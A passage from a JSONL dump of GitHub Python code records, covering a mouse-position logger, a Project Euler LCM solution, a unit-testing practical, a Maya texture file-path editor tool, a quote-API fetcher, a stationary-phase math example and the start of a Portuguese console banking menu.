time.sleep(1)\n print(\"1\")\n time.sleep(1)\n print(\"go\")\n\n iter_count = iter_count + 1\n # Loop 30 times a second\n cache = []\n while True:\n # Poll at a frequency of 30 times a second\n time.sleep(1 / frequency)\n pos = queryMousePosition()\n cache.append(pos)\n if len(cache) > frequency * seconds:\n break\n #END\n #END\n \n data.append(cache)\n cache = []\n\n if (iterations > 0):\n if (iter_count >= iterations):\n with open(\"mousePos.json\", \"w\") as f:\n json.dump(data, f)\n f.write(\"\\n\")\n #END\n break\n #END\n #END\n#END\n\npos = queryMousePosition()\nprint(pos)","repo_name":"Furry/mouse-rs","sub_path":"scripts/getMousePos.py","file_name":"getMousePos.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42138719809","text":"# Question: PE5\n# 2520 is the smallest number that can be divided by each of the numbers from 1 to 10\n# without any remainder.\n# What is the smallest positive number that is evenly divisible by all of the numbers\n# from 1 to 20?\n\ndef gcd(arr: list) -> int:\n '''Returns gcd of 2 +ve integers using a Euclidean algorithm.'''\n mod = arr[1]\n\n while mod > 0:\n gcd_ = arr[1]\n arr = [arr[1], arr[0]%arr[1]]\n mod = arr[1]\n\n return gcd_\n\n\ndef lcm(arr: list) -> int:\n '''Returns lcm using (a*b)//gcd(a,b), where a and b are elements of a sliding window through input array.'''\n # length of input array should be > 1\n n = len(arr) # len(x) should have at least 2\n lcm_ = arr[0] # set lcm_ to first array value\n\n # Sliding window\n for i in range(0, n):\n if i > n-2:\n break\n else:\n b = arr[i+1]\n res = (lcm_*b)//gcd([lcm_, b])\n lcm_ = res\n\n return lcm_\n","repo_name":"jasn-armstrng/project-euler-python","sub_path":"5-smallest-multiple/lowest_common_multiple.py","file_name":"lowest_common_multiple.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72360528535","text":"\"\"\"\nCP1404/CP5632 Practical\nTesting demo using assert and doctest\n\"\"\"\n\nimport doctest\nimport os\nimport shutil\nshutil.move(os.path.join(\"..\", \"prac_06\", \"car.py\"), os.getcwd())\nfrom car import Car # prac_06 is a parallel directory therefore not a valid import option.\nshutil.move(\"car.py\", os.path.join(\"..\", \"prac_06\")) # __pycache__, therefore not needed.\n\n\ndef repeat_string(s, n):\n \"\"\"Repeat string s, n times, with spaces in between.\"\"\"\n return ' '.join([s] * n)\n\n\ndef is_long_word(word, length=5):\n \"\"\"\n Determine if the word is as long or longer than the length passed in\n >>> is_long_word(\"not\")\n False\n >>> is_long_word(\"supercalifrag\")\n True\n >>> is_long_word(\"Python\", 6)\n True\n \"\"\"\n return len(word) >= length\n\n\ndef run_tests():\n \"\"\"Run the tests on the functions.\"\"\"\n print(\"start\")\n # assert test with no message - used to see if the function works properly\n assert repeat_string(\"Python\", 1) == \"Python\"\n # the test below should *not* fail\n assert repeat_string(\"hi\", 2) == \"hi hi\"\n\n # assert test with custom message,\n # used to see if Car's init method sets the odometer correctly\n # this should pass (no output)\n test_car = Car()\n assert test_car.odometer == 0, \"Car does not set odometer correctly\"\n\n # Test fuel\n test_car_1 = Car(fuel=10)\n assert test_car_1.fuel == 10, \"Custom values not communicated to class\"\n test_car_2 = Car()\n assert test_car_2.fuel == 0, \"Non-zero default value\"\n\n # Test sentencise function\n assert sentencise('hello') == 'Hello.', sentencise('hello')\n assert sentencise('It is an ex parrot.') == 'It is an ex parrot.', sentencise('It is an ex parrot.')\n assert sentencise('00# thIs Is nOT a sENtENcE') == '00# ThIs Is nOT a sENtENcE.', sentencise('00# thIs Is nOT a sENtENcE')\n try:\n sentencise(1)\n except TypeError:\n print(\"Success\")\n else:\n raise AssertionError(\"Expected error for type 'int'.\")\n\n\ndef sentencise(input_string: str):\n first_letter = ''\n for char in input_string:\n if char.isupper() or char.islower(): # test if letter\n first_letter = char.upper() # force upper case\n break\n if first_letter:\n position = input_string.upper().find(first_letter)\n input_string = f\"{'' if position==0 else input_string[:position]}{first_letter}{input_string[position+1:]}\"\n if not input_string.endswith('.'):\n input_string = input_string + '.'\n return input_string\n\n\nrun_tests()\ndoctest.testmod()\n","repo_name":"FluffyTrooper2001/cp1404practicals","sub_path":"prac_10/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"19823459111","text":"import os\nimport sys\nimport subprocess\n\nfrom PySide2 import QtCore\nfrom PySide2 import QtGui\nfrom PySide2 import QtWidgets\n\nfrom PySide2.QtCore import QFile, QIODevice, QCoreApplication\nfrom shiboken2 import wrapInstance\n\nimport maya.cmds as cmds\nimport maya.OpenMayaUI as omui\n\n\nclass WeiFilePathEditor(QtCore.QObject):\n VERSION = \"0.1.2\"\n\n prompt_msgbox = QtCore.Signal(list)\n\n def __init__(self, ffmpeg_path=None, log_to_maya=True):\n super(WeiFilePathEditor, self).__init__()\n\n def get_project_dir_path(self):\n return cmds.workspace(q=True, rootDirectory=True)\n\n def analyze_texture(self):\n analysis = {}\n\n for node in self.get_all_file_nodes():\n img_path = self.get_file_node_img_path(node)\n img_exist = os.path.exists(img_path)\n img_root = os.path.dirname(img_path)\n analysis.setdefault(img_root, {\"exist\": [], \"missing\": []})\n\n if img_exist:\n analysis[img_root][\"exist\"].append(node)\n else:\n analysis[img_root][\"missing\"].append(node)\n\n return analysis\n\n def get_all_file_nodes(self):\n return cmds.ls(type=\"file\")\n\n def get_file_node_img_path(self, fnode):\n return cmds.getAttr(\"{0}.fileTextureName\".format(fnode))\n\n def set_file_node_img_path(self, fnode, new_img_path):\n cmds.setAttr(\"{0}.fileTextureName\".format(fnode), new_img_path, type=\"string\")\n self.log_info(\n \"Successfully set all selected textures to the target directory path\"\n )\n\n def set_file_node_filter_type(self, fnode, option):\n cmds.setAttr(\"{0}.filterType\".format(fnode), option)\n self.log_info(\"Successfully set filter type for all selected textures\")\n\n def copy_move_files(\n self, source_fpaths, target_dir, progress_dialog, overwrite, copy=True\n ):\n progress_dialog.total_files = len(source_fpaths)\n for source_fpath in source_fpaths:\n fname = os.path.basename(source_fpath)\n target_fpath = os.path.join(target_dir, fname)\n if QFile.exists(target_fpath) and not overwrite:\n self.log_error(\n \"Target file already exists. Eanble overwrite to ignore.\"\n )\n progress_dialog.close()\n return\n\n source_file = QFile(source_fpath)\n target_file = QFile(target_fpath)\n\n progress_dialog.current_file += 1\n progress_dialog.update_progress_label()\n\n if not source_file.open(QIODevice.ReadOnly) or not target_file.open(\n QIODevice.WriteOnly\n ):\n raise IOError(\"Error opening files for copying.\")\n\n total_size = source_file.size()\n bytes_copied = 0\n\n while bytes_copied < total_size:\n if progress_dialog.copy_cancelled:\n break\n\n buffer = source_file.read(4096)\n target_file.write(buffer)\n bytes_copied += len(buffer)\n\n progress = float(bytes_copied) / float(total_size) * 100\n progress_dialog.progress_bar.setValue(progress)\n\n QCoreApplication.processEvents()\n\n if not copy:\n source_file.remove()\n\n source_file.close()\n target_file.close()\n\n if progress_dialog.copy_cancelled:\n progress_dialog.close()\n progress_dialog.cancel_button.setVisible(False)\n progress_dialog.close_button.setVisible(True)\n\n def log_error(self, text):\n self.prompt_msgbox.emit([\"ERROR\", text])\n\n def log_warning(self, text):\n self.prompt_msgbox.emit([\"WARNING\", text])\n\n def log_info(self, text):\n self.prompt_msgbox.emit([\"INFO\", text])\n\n\nclass WeiFilePathEditorFileProcessDialog(QtWidgets.QDialog):\n def __init__(self, parent):\n super(WeiFilePathEditorFileProcessDialog, self).__init__(parent)\n\n self.setWindowTitle(\"File Processing Progress\")\n self.file_process_layout = QtWidgets.QVBoxLayout()\n\n self.progress_label = QtWidgets.QLabel()\n self.file_process_layout.addWidget(self.progress_label)\n\n self.progress_bar = QtWidgets.QProgressBar(self)\n self.file_process_layout.addWidget(self.progress_bar)\n\n self.cancel_button = QtWidgets.QPushButton(\"Cancel\")\n self.cancel_button.setVisible(True)\n self.close_button = QtWidgets.QPushButton(\"Close\")\n self.close_button.setVisible(False)\n self.file_process_layout.addWidget(self.cancel_button)\n self.file_process_layout.addWidget(self.close_button)\n\n self.setLayout(self.file_process_layout)\n\n self.total_files = None\n self.current_file = 0\n self.copy_cancelled = False\n\n self.cancel_button.clicked.connect(self.cancel_copy)\n self.close_button.clicked.connect(self.close)\n\n def update_progress_label(self):\n progress_text = \"({0}/{1})\".format(self.current_file, self.total_files)\n self.progress_label.setText(progress_text)\n\n def cancel_copy(self):\n self.copy_cancelled = True\n\n\nclass WeiFilePathEditorUi(QtWidgets.QDialog):\n TITLE = \"Wei's File Path Editor\"\n\n STYLESHEET = \"\"\"\n QTreeView {\n background-color: #454545;\n }\n QLineEdit:disabled {\n background-color: #454545;\n }\n \"\"\"\n\n FILTER_TYPE_LIST = [\"Off\", \"Mipmap\", \"Box\", \"Quardradic\", \"Quartic\", \"Gaussian\"]\n\n IMGCVT_SUPPORT_FORMAT = [\".jpg\", \".png\", \".gif\", \".pic\", \".tga\", \".tif\", \".tiff\"]\n\n dlg_instance = None\n\n @classmethod\n def show_dialog(cls):\n if not cls.dlg_instance:\n cls.dlg_instance = WeiFilePathEditorUi()\n\n if cls.dlg_instance.isHidden():\n cls.dlg_instance.show()\n else:\n cls.dlg_instance.raise_()\n cls.dlg_instance.activateWindow()\n\n def __init__(self):\n if sys.version_info.major < 3:\n maya_main_window = wrapInstance(\n long(omui.MQtUtil.mainWindow()), QtWidgets.QWidget\n )\n else:\n maya_main_window = wrapInstance(\n int(omui.MQtUtil.mainWindow()), QtWidgets.QWidget\n )\n\n super(WeiFilePathEditorUi, self).__init__(maya_main_window)\n\n self.setWindowTitle(\n \"{0} v{1}\".format(WeiFilePathEditorUi.TITLE, WeiFilePathEditor.VERSION)\n )\n self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowContextHelpButtonHint)\n self.resize(450, 640)\n\n self.setStyleSheet(WeiFilePathEditorUi.STYLESHEET)\n\n self._file_path_editor = WeiFilePathEditor()\n self._files_analysis_dict = None\n\n self.create_actions()\n self.create_menus()\n self.create_widgets()\n self.create_layout()\n self.create_connections()\n\n def create_actions(self):\n self.show_about_action = QtWidgets.QAction(\"About\", self)\n self.show_about_action.triggered.connect(self.show_about_dialog)\n\n def create_menus(self):\n self.main_menu = QtWidgets.QMenuBar()\n\n about_menu = self.main_menu.addMenu(\"About\")\n about_menu.addAction(self.show_about_action)\n\n def create_widgets(self):\n self.main_tab = QtWidgets.QTabWidget()\n\n self.texture_tab = QtWidgets.QWidget()\n self.analyze_texture_btn = QtWidgets.QPushButton(\n \"Analyze the texture path in this scene\"\n )\n self.texture_analysis_tv = QtWidgets.QTreeView()\n self.texture_analysis_mdl = QtGui.QStandardItemModel()\n self.texture_analysis_tv.setModel(self.texture_analysis_mdl)\n self.texture_analysis_tv.setHeaderHidden(True)\n\n self.target_dir_le = QtWidgets.QLineEdit()\n self.target_dir_le.setPlaceholderText(\"Target Directory Path\")\n\n self.target_dir_select_btn = QtWidgets.QPushButton(\"...\")\n self.target_dir_select_btn.setFixedSize(24, 19)\n self.target_dir_select_btn.setToolTip(\"Select Target Directory\")\n\n self.target_dir_show_folder_btn = QtWidgets.QPushButton(\n QtGui.QIcon(\":fileOpen.png\"), \"\"\n )\n self.target_dir_show_folder_btn.setFixedSize(24, 19)\n self.target_dir_show_folder_btn.setToolTip(\"Show in Folder\")\n\n self.force_overwrite_cb = QtWidgets.QCheckBox(\"Force Overwrite\")\n self.make_new_folder_cb = QtWidgets.QCheckBox(\"Make New Folder\")\n self.name_new_folder_le = QtWidgets.QLineEdit()\n self.name_new_folder_le.setEnabled(False)\n self.name_new_folder_le.setPlaceholderText(\"New folder\")\n\n self.add_prefix_cb = QtWidgets.QCheckBox(\"Add Prefix to Filename\")\n self.add_prefix_le = QtWidgets.QLineEdit()\n self.add_prefix_le.setEnabled(False)\n self.add_prefix_le.setPlaceholderText(\"prefix_\")\n\n self.add_sufix_cb = QtWidgets.QCheckBox(\"Add Sufix to Filename\")\n self.add_sufix_le = QtWidgets.QLineEdit()\n self.add_sufix_le.setEnabled(False)\n self.add_sufix_le.setPlaceholderText(\"_sufix\")\n\n self.replace_string_cb = QtWidgets.QCheckBox(\"Replace String\")\n self.find_string_le = QtWidgets.QLineEdit()\n self.find_string_le.setEnabled(False)\n self.find_string_le.setPlaceholderText(\"Old String\")\n self.replace_string_le = QtWidgets.QLineEdit()\n self.replace_string_le.setPlaceholderText(\"New String\")\n self.replace_string_le.setEnabled(False)\n\n self.miscellaneous_tab = QtWidgets.QWidget()\n\n self.filter_type_cmb = QtWidgets.QComboBox()\n self.filter_type_cmb.addItems(WeiFilePathEditorUi.FILTER_TYPE_LIST)\n self.filter_type_cmb.setCurrentText(\"Mipmap\")\n self.set_filter_type_btn = QtWidgets.QPushButton(\"Set Filter Type\")\n\n self.original_format_cmb = QtWidgets.QComboBox()\n self.original_format_cmb.addItem(\"*\")\n self.original_format_cmb.addItems(WeiFilePathEditorUi.IMGCVT_SUPPORT_FORMAT)\n self.original_format_label = QtWidgets.QLabel(\"From\")\n self.convert_format_cmb = QtWidgets.QComboBox()\n self.convert_format_cmb.addItems(WeiFilePathEditorUi.IMGCVT_SUPPORT_FORMAT)\n self.convert_format_label = QtWidgets.QLabel(\"To\")\n self.update_texture_path_cb = QtWidgets.QCheckBox(\n \"Update texture path in file nodes\"\n )\n self.update_texture_path_cb.setChecked(True)\n self.delete_original_format_textures_cb = QtWidgets.QCheckBox(\n \"Delete original format textures\"\n )\n self.convert_format_btn = QtWidgets.QPushButton(\"Convert\")\n\n self.main_tab.addTab(self.texture_tab, \"Texture\")\n self.main_tab.addTab(self.miscellaneous_tab, \"Miscellaneous\")\n\n self.copy_files_btn = QtWidgets.QPushButton(\"Copy Files\")\n self.move_files_btn = QtWidgets.QPushButton(\"Move Files\")\n self.set_texture_path_btn = QtWidgets.QPushButton(\"Set Texture Path\")\n self.close_btn = QtWidgets.QPushButton(\"Close\")\n\n def create_layout(self):\n target_path_layout = QtWidgets.QHBoxLayout()\n target_path_layout.addWidget(self.target_dir_le)\n target_path_layout.addWidget(self.target_dir_select_btn)\n target_path_layout.addWidget(self.target_dir_show_folder_btn)\n\n make_new_folder_layout = QtWidgets.QHBoxLayout()\n make_new_folder_layout.addWidget(self.name_new_folder_le)\n make_new_folder_layout.addWidget(self.make_new_folder_cb)\n\n target_dir_layout = QtWidgets.QFormLayout()\n target_dir_layout.addWidget(self.force_overwrite_cb)\n target_dir_layout.addRow(\"Target Directory:\", target_path_layout)\n target_dir_layout.addRow(\"Folder Name:\", make_new_folder_layout)\n\n target_dir_grp = QtWidgets.QGroupBox(\"Target directory setting\")\n target_dir_grp.setLayout(target_dir_layout)\n\n add_prefix_layout = QtWidgets.QHBoxLayout()\n add_prefix_layout.addWidget(self.add_prefix_cb)\n add_prefix_layout.addWidget(self.add_prefix_le)\n\n add_sufix_layout = QtWidgets.QHBoxLayout()\n add_sufix_layout.addWidget(self.add_sufix_cb)\n add_sufix_layout.addWidget(self.add_sufix_le)\n\n replace_string_layout = QtWidgets.QVBoxLayout()\n replace_string_layout.addWidget(self.replace_string_cb)\n replace_string_layout.addWidget(self.find_string_le)\n replace_string_layout.addWidget(self.replace_string_le)\n\n modify_texture_path_layout = QtWidgets.QVBoxLayout()\n modify_texture_path_layout.addLayout(add_prefix_layout)\n modify_texture_path_layout.addLayout(add_sufix_layout)\n modify_texture_path_layout.addLayout(replace_string_layout)\n modify_texture_path_grp = QtWidgets.QGroupBox(\"Modify Texture Path\")\n modify_texture_path_grp.setLayout(modify_texture_path_layout)\n\n button_layout = QtWidgets.QHBoxLayout()\n button_layout.addWidget(self.copy_files_btn)\n button_layout.addWidget(self.move_files_btn)\n button_layout.addWidget(self.set_texture_path_btn)\n\n texture_tab_layout = QtWidgets.QVBoxLayout(self.texture_tab)\n texture_tab_layout.addWidget(self.analyze_texture_btn)\n texture_tab_layout.addWidget(self.texture_analysis_tv)\n texture_tab_layout.addWidget(target_dir_grp)\n texture_tab_layout.addWidget(modify_texture_path_grp)\n texture_tab_layout.addLayout(button_layout)\n\n set_filter_type_layout = QtWidgets.QHBoxLayout()\n set_filter_type_layout.addWidget(self.filter_type_cmb)\n set_filter_type_layout.addWidget(self.set_filter_type_btn)\n\n filter_type_layout = QtWidgets.QFormLayout()\n filter_type_layout.setSpacing(12)\n filter_type_layout.addRow(\"Filter Type\", set_filter_type_layout)\n\n filter_type_grp = QtWidgets.QGroupBox('Filter setup (Maya \"file\" nodes only')\n filter_type_grp.setLayout(filter_type_layout)\n\n texture_format_conversion_layout = QtWidgets.QHBoxLayout()\n texture_format_conversion_layout.setSpacing(12)\n texture_format_conversion_layout.addWidget(self.original_format_label)\n texture_format_conversion_layout.addWidget(self.original_format_cmb)\n texture_format_conversion_layout.addWidget(self.convert_format_label)\n texture_format_conversion_layout.addWidget(self.convert_format_cmb)\n texture_format_conversion_layout.addWidget(self.convert_format_btn)\n texture_format_conversion_layout.addStretch()\n\n texture_format_conversion_button_layout = QtWidgets.QVBoxLayout()\n texture_format_conversion_button_layout.addWidget(self.update_texture_path_cb)\n texture_format_conversion_button_layout.addWidget(\n self.delete_original_format_textures_cb\n )\n texture_format_conversion_button_layout.addLayout(\n texture_format_conversion_layout\n )\n\n texture_format_conversion_grp = QtWidgets.QGroupBox(\n \"Texture file format conversion\"\n )\n texture_format_conversion_grp.setLayout(texture_format_conversion_button_layout)\n\n miscellaneous_tab_layout = QtWidgets.QVBoxLayout(self.miscellaneous_tab)\n miscellaneous_tab_layout.addWidget(filter_type_grp)\n miscellaneous_tab_layout.addWidget(texture_format_conversion_grp)\n miscellaneous_tab_layout.addStretch()\n\n main_layout = QtWidgets.QVBoxLayout(self)\n main_layout.setMenuBar(self.main_menu)\n main_layout.addWidget(self.main_tab)\n main_layout.addLayout(texture_tab_layout)\n main_layout.addLayout(miscellaneous_tab_layout)\n main_layout.addWidget(self.close_btn)\n\n def create_connections(self):\n self.analyze_texture_btn.clicked.connect(self.create_hierarchy)\n\n self.target_dir_select_btn.clicked.connect(self.select_target_dir)\n self.target_dir_show_folder_btn.clicked.connect(self.open_target_dir)\n\n self.make_new_folder_cb.stateChanged.connect(self.toggle_make_new_folder_cb)\n self.add_prefix_cb.stateChanged.connect(self.toggle_add_prefix_cb)\n self.add_sufix_cb.stateChanged.connect(self.toggle_add_sufix_cb)\n self.replace_string_cb.stateChanged.connect(self.toggle_replace_string_cb)\n\n self.texture_analysis_mdl.itemChanged.connect(self.disable_child_item)\n self.copy_files_btn.clicked.connect(self.on_copy_move_files_btn)\n self.move_files_btn.clicked.connect(self.on_copy_move_files_btn)\n self.set_texture_path_btn.clicked.connect(self.on_set_texture_path_btn)\n\n self.set_filter_type_btn.clicked.connect(self.on_set_filter_type_btn)\n self.convert_format_btn.clicked.connect(self.on_convert_format)\n\n self.close_btn.clicked.connect(self.close)\n\n self._file_path_editor.prompt_msgbox.connect(self.show_msgbox_dlg)\n\n def create_hierarchy(self):\n self._files_analysis_dict = self._file_path_editor.analyze_texture()\n if self.texture_analysis_mdl.rowCount() > 0:\n self.clean_treeview(self.texture_analysis_mdl)\n\n for key, exist_dict in self._files_analysis_dict.items():\n total = 0\n for i in exist_dict.values():\n total += len(i)\n\n key_item = QtGui.QStandardItem(\"{0} texture(s) in {1}\".format(total, key))\n key_item.setCheckable(True)\n key_item.setData(key, QtCore.Qt.UserRole)\n self.texture_analysis_mdl.appendRow(key_item)\n\n for k, v in exist_dict.items():\n item = QtGui.QStandardItem(\"{0} of them {1}\".format(len(v), k))\n item.setCheckable(True)\n item.setData(v, QtCore.Qt.UserRole)\n key_item.appendRow(item)\n\n def get_selected_treeview_item(self):\n treeview = self.texture_analysis_mdl\n exist_node_list = []\n missing_node_list = []\n for row in range(treeview.rowCount()):\n row_item = treeview.item(row, 0)\n row_selected = row_item.checkState()\n if not row_selected:\n exist_r = row_item.child(0)\n if exist_r.checkState():\n exist_node_list += exist_r.data(QtCore.Qt.UserRole)\n missing_r = row_item.child(1)\n if missing_r.checkState():\n missing_node_list += missing_r.data(QtCore.Qt.UserRole)\n continue\n row_value = row_item.data(QtCore.Qt.UserRole)\n exist_node_list += self._files_analysis_dict[row_value][\"exist\"]\n missing_node_list += self._files_analysis_dict[row_value][\"missing\"]\n\n return exist_node_list, missing_node_list\n\n def get_target_dir(self):\n return self.target_dir_le.text()\n\n def on_copy_move_files_btn(self):\n overwrite = self.force_overwrite_cb.isChecked()\n make_new_folder = self.make_new_folder_cb.isChecked()\n\n exist_node_list, _ = self.get_selected_treeview_item()\n if exist_node_list == []:\n self._file_path_editor.log_warning(\n \"No existing node is selected, no texture is processed\"\n )\n return\n\n target_dir = self.get_target_dir()\n if target_dir == \"\":\n self._file_path_editor.log_warning(\"Taget Directory is empty.\")\n return\n if make_new_folder:\n new_folder_name = self.name_new_folder_le.text()\n target_dir = os.path.join(target_dir, new_folder_name)\n os.mkdir(target_dir)\n\n file_process_dlg = WeiFilePathEditorFileProcessDialog(self)\n file_process_dlg.show()\n source_fpaths = []\n for node in exist_node_list:\n fpath = self._file_path_editor.get_file_node_img_path(node)\n source_fpaths.append(fpath)\n\n if self.sender() == self.copy_files_btn:\n self._file_path_editor.copy_move_files(\n source_fpaths, target_dir, file_process_dlg, overwrite, copy=True\n )\n else:\n self._file_path_editor.copy_move_files(\n source_fpaths, target_dir, file_process_dlg, overwrite, copy=False\n )\n\n def on_set_texture_path_btn(self):\n add_prefix = self.add_prefix_cb.isChecked()\n add_sufix = self.add_sufix_cb.isChecked()\n replace_string = self.replace_string_cb.isChecked()\n\n target_dir = self.get_target_dir()\n exist_node_list, missing_node_list = self.get_selected_treeview_item()\n node_list = exist_node_list + missing_node_list\n for node in node_list:\n old_fpath = self._file_path_editor.get_file_node_img_path(node)\n fname = os.path.basename(old_fpath)\n\n if add_prefix:\n fname = self.add_prefix_le.text() + fname\n if add_sufix:\n fname = fname + self.add_sufix_le.text()\n if replace_string:\n fname = fname.replace(\n self.find_string_le.text(), self.replace_string_le.text()\n )\n\n new_fpath = os.path.join(target_dir, fname)\n self._file_path_editor.set_file_node_img_path(node, new_fpath)\n\n def clean_treeview(self, treeview):\n for row in range(treeview.rowCount()):\n treeview.removeRow(0)\n\n def disable_child_item(self, item):\n row_count = item.rowCount()\n if row_count == 0:\n return\n if item.checkState() == 0:\n for r in range(row_count):\n r_child = item.child(r)\n r_child.setEnabled(True)\n return\n for r in range(row_count):\n r_child = item.child(r)\n r_child.setData(False, QtCore.Qt.CheckStateRole)\n r_child.setEnabled(False)\n\n def select_target_dir(self):\n cur_dir_path = self._file_path_editor.get_project_dir_path()\n new_dir_path = QtWidgets.QFileDialog.getExistingDirectory(\n self, \"Select Directory\", cur_dir_path\n )\n if new_dir_path:\n self.target_dir_le.setText(new_dir_path)\n\n def open_target_dir(self):\n target_dir_path = self.target_dir_le.text()\n if not target_dir_path:\n return\n\n file_info = QtCore.QFileInfo(target_dir_path)\n if file_info.isDir():\n QtGui.QDesktopServices.openUrl(target_dir_path)\n else:\n self.show_msgbox_dlg(\n [\"ERROR\", \"Invalid directory path: {0}\".format(target_dir_path)]\n )\n\n def toggle_make_new_folder_cb(self, state):\n self.name_new_folder_le.setEnabled(state == 2)\n\n def toggle_add_prefix_cb(self, state):\n self.add_prefix_le.setEnabled(state == 2)\n\n def toggle_add_sufix_cb(self, state):\n self.add_sufix_le.setEnabled(state == 2)\n\n def toggle_replace_string_cb(self, state):\n self.find_string_le.setEnabled(state == 2)\n self.replace_string_le.setEnabled(state == 2)\n\n def on_set_filter_type_btn(self):\n exist_node_list, missing_node_list = self.get_selected_treeview_item()\n node_list = exist_node_list + missing_node_list\n option = self.filter_type_cmb.currentIndex()\n for node in node_list:\n self._file_path_editor.set_file_node_filter_type(node, option)\n\n def on_convert_format(self):\n exist_node_list, _ = self.get_selected_treeview_item()\n imgcvt = os.path.join(os.getcwd(), \"bin\", \"imgcvt.exe\")\n\n update_to_fnode = self.update_texture_path_cb.isChecked()\n delete_original = self.delete_original_format_textures_cb.isChecked()\n original_format = self.original_format_cmb.currentText()\n convert_format = self.convert_format_cmb.currentText()\n\n for node in exist_node_list:\n fpath = self._file_path_editor.get_file_node_img_path(node)\n fname_with_ext = os.path.basename(fpath)\n fname, _ = os.path.splitext(fname_with_ext)\n target_dir = self.target_dir_le.text()\n output_fpath = os.path.join(target_dir, fname) + convert_format\n cmd = [imgcvt, fpath, output_fpath]\n if original_format != \"*\":\n cmd[1:1] = [\"-f\", original_format[1:]]\n process = subprocess.Popen(\n cmd,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True,\n )\n finished = process.wait()\n if os.path.isfile(output_fpath):\n self._file_path_editor.log_info(\"Conversion sucess.\")\n if delete_original:\n os.remove(fpath)\n if update_to_fnode:\n self._file_path_editor.set_file_node_img_path(node, output_fpath)\n else:\n self._file_path_editor.log_error(\n \"Conversion failed. Check the output log for more information.\"\n )\n\n def show_about_dialog(self):\n text = \"

{0}

\".format(WeiFilePathEditorUi.TITLE)\n text += \"

Version: {0}

\".format(WeiFilePathEditor.VERSION)\n text += \"

Author: Wei-Hsiang Chen

\"\n text += '

Website: https://www.linkedin.com/in/weihsiangchen-fx


'\n\n QtWidgets.QMessageBox().information(self, \"About\", text)\n\n def show_msgbox_dlg(self, msg_type):\n dialog_type, text = msg_type\n if dialog_type == \"ERROR\":\n QtWidgets.QMessageBox().critical(self, \"Error\", text)\n elif dialog_type == \"WARNING\":\n QtWidgets.QMessageBox().warning(self, \"Warning\", text)\n else:\n QtWidgets.QMessageBox().information(self, \"Info\", text)\n\n\nif __name__ == \"__main__\":\n try:\n wei_playblast_dialog.close()\n wei_playblast_dialog.deleteLater()\n except:\n pass\n\n wei_playblast_dialog = WeiFilePathEditorUi()\n wei_playblast_dialog.show()\n","repo_name":"weishc/work-stuff","sub_path":"Maya/tool/Wei_FilePathEditor/Wei_FilePathEditor.py","file_name":"Wei_FilePathEditor.py","file_ext":"py","file_size_in_byte":25892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24656791790","text":"from APIProxy import APIProxy\nfrom Log import Log\nimport requests\nfrom pprint import pprint\n\n\nclass TrumpRavings(APIProxy):\n def __init__(self):\n self.id = 2\n\n self.log_obj = Log()\n\n self.quotes = []\n self.url = ''\n self.quote = ''\n self.get_data()\n\n def get_data(self):\n for i in range(100):\n self.req = requests.get('https://api.tronalddump.io/random/quote')\n self.log_obj.get_log(self)\n\n pprint(self.req.headers)\n data = self.req.json()\n self.url = data['_embedded']['source'][0]['url']\n self.quote = data['value']\n pair = [self.url, self.quote]\n self.quotes.append(pair)\n return self.quotes\n","repo_name":"iErdem1/api_management","sub_path":"TrumpRavings.py","file_name":"TrumpRavings.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"30635405558","text":"from scipy.special import airy\nimport numpy as np\nfrom mathx import phase\n\n##\n##\n# print(abs(intf_num),np.angle(intf_num),abs(intf_spa),np.angle(intf_spa))\n# ##\n# print(abs(intf_num),np.angle(intf_num),abs(intf_spa),np.angle(intf_spa))\n# cintf_num=np.cumsum(f)*(t[1]-t[0])\n# pg.plot(t,abs(cintf_num))\n##\ng0 = 0\ng1 = 1\nS0 = 4\nS1 = 5\nS3 = 6\nw = 0.5\nt = np.linspace(-5, 5, 1e6)\nS = S0 + S1*t + S3*t**3/6\nf = (g0 + g1*t)*np.exp(1j*S - 0.5*(t/w)**2)\nintf_num = np.trapz(f, t)\nintf_spa = phase.approximate_phase_inflexion(g0, g1, S0, S1, S3) # pg.plot(t,f.real)\n","repo_name":"draustin/mathx","sub_path":"examples/phase/stationary_phase_approximation.py","file_name":"stationary_phase_approximation.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13798969938","text":"# Definição do menu de opções\r\nmenu = \"\"\"\r\n\r\n[d] Depositar\r\n[s] Sacar\r\n[e] Extrato \r\n[q] Sair\r\n\r\n=>\"\"\"\r\n\r\n# Definição das variáveis iniciais\r\nsaldo = 0 \r\nlimite = 500\r\nextrato = \" \"\r\nnumero_saque = 0\r\nLIMITE_SAQUES = 3 \r\n\r\n# Laço de repetição para apresentar o menu e realizar as operações selecionadas\r\nwhile True:\r\n\r\n # Apresentação do menu e leitura da opção selecionada pelo usuário\r\n opcao = input(menu)\r\n\r\n # Operação de depósito\r\n if opcao == \"d\":\r\n valor = float(input(\"Informe o valor do depósito: \"))\r\n\r\n if valor > 0: # Verifica se o valor informado é maior que zero\r\n saldo += valor # Adiciona o valor informado ao saldo\r\n extrato += f\"Depósito: R$ {valor:.2f}\\n\" # Adiciona a descrição do depósito ao extrato\r\n\r\n else: # Caso o valor informado seja menor ou igual a zero\r\n print(\"Operação falhou! O valor informado não é valido\") # Apresenta mensagem de erro\r\n\r\n # Operação de saque\r\n elif opcao == \"s\":\r\n valor = float(input(\"Ubforme o valor do saque: \"))\r\n\r\n excedeu_saldo = valor > saldo # Verifica se o valor do saque excede o saldo disponível\r\n excedeu_limite = valor > limite # Verifica se o valor do saque excede o limite de saque\r\n excedeu_saques = numero_saque >= LIMITE_SAQUES # Verifica se o número de saques já excedeu o limite permitido\r\n\r\n if excedeu_saldo: # Caso o valor do saque exceda o saldo disponível\r\n print(\"Operação falhou! Você não tem saldo suficiente.\")\r\n\r\n elif excedeu_limite: # Caso o valor do saque exceda o limite de saque\r\n 